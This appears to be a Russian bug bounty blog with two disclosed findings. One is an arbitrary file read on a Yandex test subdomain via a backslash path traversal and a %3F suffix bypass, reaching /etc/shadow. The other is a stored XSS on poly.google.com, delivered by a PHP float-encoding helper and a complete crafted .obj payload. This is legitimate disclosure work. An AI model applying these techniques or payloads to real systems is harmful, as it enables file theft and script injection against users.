03 января 2018

[pda-test.yandex.ru] Arbitrary File Reading


Для автоматизации простых проверок на сайтах bug bounty я использую два php скрипта. Первый собирает поддомены с разных источников (например, crt.sh, virustotal, shodan) для программ, где scope указан в виде *.blah.com. Второй скрипт уже непосредственно ищет уязвимости по всему списку хостов, которые можно проверить за 1 запрос. Именно они и находят все эти пачки CRLF Injection и Open Redirect из моего профиля на hackerone. Причем, чем больше уязвимостей раскрываешь на h1, тем реже они потом находятся скриптами :)

Придумывая новые идеи для второго скрипта, я решил проверить раскрытие исходного кода для JS приложений. Иногда из-за неправильной настройки приложения раздача статических файлов может быть из той же папки, где находится и серверный JS код.

/app.js
/server.js

Данная проверка выстрелила на одном из поддоменов Yandex.

https://pda-test.yandex.ru/app.js

Данный файл был серверным JS кодом, но не содержал никакой интересной информации и больше был похож на шаблон. Поэтому я дополнительно перебрал js файлы по словарю. В случае, если имя файла содержало нижнее подчеркивание и заканчивалось на “.js”, сервер выдавал stacktrace.

За счет того, что nginx не нормализует path traversal с использованием обратного слэша, а NodeJS корректно его обрабатывает, удалось получить чтение js кода из произвольной папки. Подробнее про это можно прочитать тут - Arbitrary File Reading in Next.js. Единственным условием было наличие в пути нижнего подчеркивания, причем вариант “fake_path/../realfile” не работал. К счастью, в stacktrace был путь до папки node_modules, которую я и использовал.

Протестировав варианты отбрасывания постфикса “.js” внезапно отработал %3F, что в результате дало чтение произвольных файлов.

Более того, прав хватало даже на чтение /etc/shadow.

PS: Пользователь с логином zlietapki особенно порадовал.

02 января 2018

[poly.google.com] XSS


Почти год назад отправлял заявку в Vulnerability Research Grant от Google и в ноябре меня наконец-то пригласили поучаствовать. Так как приглашение совпало с отпуском - решил найти что-нибудь не совсем стандартное, но интересное.

Суть этой программы в следующем - при хорошем качестве кода можно потратить довольно много времени и не найти уязвимости, что может отталкивать багхантеров. Для этого были введены гранты, которые выплачиваются участникам независимо от результата (при этом все найденные уязвимости оцениваются в стандартном порядке и не зависят от гранта). Скоуп в данной программе содержал в себе 20 позиций - новые мобильные и веб-приложения, изменения в существующих сервисах и даже десктопные приложения. Отдельно можно выделить “Choose your own adventure!”, когда багхантер может выбрать любой продукт от Google для анализа в рамках этого гранта.

Я решил сконцентрироваться на новом веб-приложении для работы с 3D моделями poly.google.com. Пользователь может загружать файлы в формате Wavefront .obj, которые выглядят следующим образом:

v 0.0 0.0 0.0
v 4.0 0.0 0.0
v 4.0 4.0 0.0
v 0.0 4.0 0.0
v 2.0 6.0 0.0
f 1 2 3 4
f 3 4 5

На сервере они конвертируются в бинарный файл .bin:

И в HTTP ответе использовались следующие заголовки:

Content-Type: application/octet-stream
Content-Disposition: inline; filename="xss.bin"

При указании данных заголовков Internet Explorer и, судя по всему, Edge попытаются определить mime type файла по его содержимому. Подробнее о том, как это работает - MIME Type Detection in Windows Internet Explorer. То есть, если сформировать такой файл obj, который после конвертации в bin будет содержать в себе html, то получится сделать хранимую XSS для IE.

Например, задать необходимый payload можно используя координаты вершин. Для этого находим функцию, преобразующую HEX строку в 32-bit IEEE 754 число с плавающей точкой и конвертируем XSS вектор.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}

print(hexTo32Float(bin2hex(strrev("<scr")))).PHP_EOL; // 4.5051140506042E+30
print(hexTo32Float(bin2hex(strrev("ipt>")))).PHP_EOL; // 0.23871006071568

Получается следующий .obj файл, который необходимо загрузить на сайт.

#xss.obj
v 4.7275221264773E+27 1.4914213187279E+31 2.8899316938437E+29
v 1.8474870460757E+20 7.681841551373E+31 4.4159888520194E+21
v 1.7751098170076E+28 7.0618740621481E+28 1.8056946957706E+28
v 1.7109925976033E-10 1.8314355250257E+25 1.6132151934861E-19
v 5.8774717541114E-39 0 0
f 1 1 1 1
f 2 2 2 2
f 3 3 3 3
f 4 4 4 4
f 5 5 5 5

И результат его обработки:
https://poly.google.com/downloads/eGXuYT8DqPr/378IoBkknJY/xss.bin